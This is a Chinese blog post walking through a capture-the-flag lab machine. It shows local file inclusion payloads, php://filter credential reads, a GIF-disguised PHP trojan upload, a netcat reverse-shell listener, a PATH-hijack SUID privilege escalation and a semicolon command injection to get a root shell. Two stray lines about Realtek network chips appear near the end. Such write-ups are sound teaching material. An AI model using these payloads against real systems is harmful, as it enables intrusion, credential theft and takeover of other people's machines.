date
Aug 5, 2021 12:02 PM
Related to 日程数据 1 (blog)
tags
slug
summary
icon
category
password
tip:
文件包含
信息收集
- ip add namp c段
- 开放端口 80 111 3306
- 浏览器无内容
- dirb扫描
nitko -host http://192.168.1.19
- 发现/config.php
- 考虑url构造为
http://192.168.1.19/?page=upload
可能存在文件包含漏洞
- 知识点
文件包含漏洞特征: ?page=a.php ?home=b.html ?file=content 检测方法: ?file=../../../../etc/passwd ?page=file:///etc/passwd ?home=main.cgi?page=http://www.a.com/1.phphttp://1.1.1.1/../../../../dir/file.txt
php://filter参数详解:
该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下: resource= 必须项。它指定了你要筛选过滤的数据流。 **可用的过滤器列表:** convert.base64 convert.base64-encode & convert.base64-decode分别等同于base64_encode()和base64_decode(),base64编码解码 下面我们来实验用php://filter来读写文件。
测试代码:
<?php $file1 = $_GET['file1']; $file2 = $_GET['file2']; $txt = $_GET['txt'];// 写入的内容echo file_get_contents($file1); // 或者是include($file1); file_put_contents($file2,$txt);?>
读取文件
test.php?file1=php://filter/resource=/etc/passwd test.php?file1=php://filter/read=convert.base64-encode/resource=flag.php // 专用于读取php文件
curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d
- 获取到一串码 base64 解码获得 数据库的用户密码信息
- 登录查表
mysql -h 192.168.1.19 -u root -p show databases; use Users; show tables; use users; select * from Users.users;
- 获取网页用户密码信息 mysql的
information_schema
也是很重要的表
getshell
- php木马改名gif 上传 使用burp suite 的repeater 文件头加
GIF89A
- 无法运行远程木马
- 查看index的源码
curl http://192.168.1.19/?page=php://filter/convert.base64-encode/resource=config |base64 -d
发现cookie 可以提供lang
- 修改cookie 添加路径lang=../xxxxxxxxxxxxx.gif
- 监听反弹shell
nc -lvp 1234
send repeater后的cookie网页
- 获得shell su用户提示需要终端,利用python 启用远程终端
python -c 'import pty;pty.spawn("/bin/bash")'
提权
- 找suid文件
find / -perm -u=s 2>/dev/null
- 发现msgmike执行发现调用cat
- 修改$PATH
export PATH=.:$PATH
echo "/bin/bash" >cat
chmod +x cat
- 重新执行msgmike来调用cat中的bash命令实现提取到mike
ls -l *
发现mike 有msg2root也有suid权限file
- 执行msg2root发现 执行什么就显示什么类似echo 尝试拼接
hello;/bin/sh
- 获取root的bash
- 在root的根目录中找到flag.txt
总结
靶机 => 主机端口探测 => web渗透 => 文件包含 => 得到数据库账号密码 => 在数据库中查到登录账号密码 => 查看源码 => 文件上传木马 => 通过Cookie文件包含 => 反弹shell => 切换账户 => 利用环境变量提权 => 找到flag
Network Interface Controllers > 2.5G Gigabit Ethernet > USB 3.0
RTL8156 / RTL8156B
Network Interface Controllers > 10/100/1000M Gigabit Ethernet > USB 3.0
RTL8153 / RTL8153B
- 作者:lea
- 链接:https://bear4.ml/article/8
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。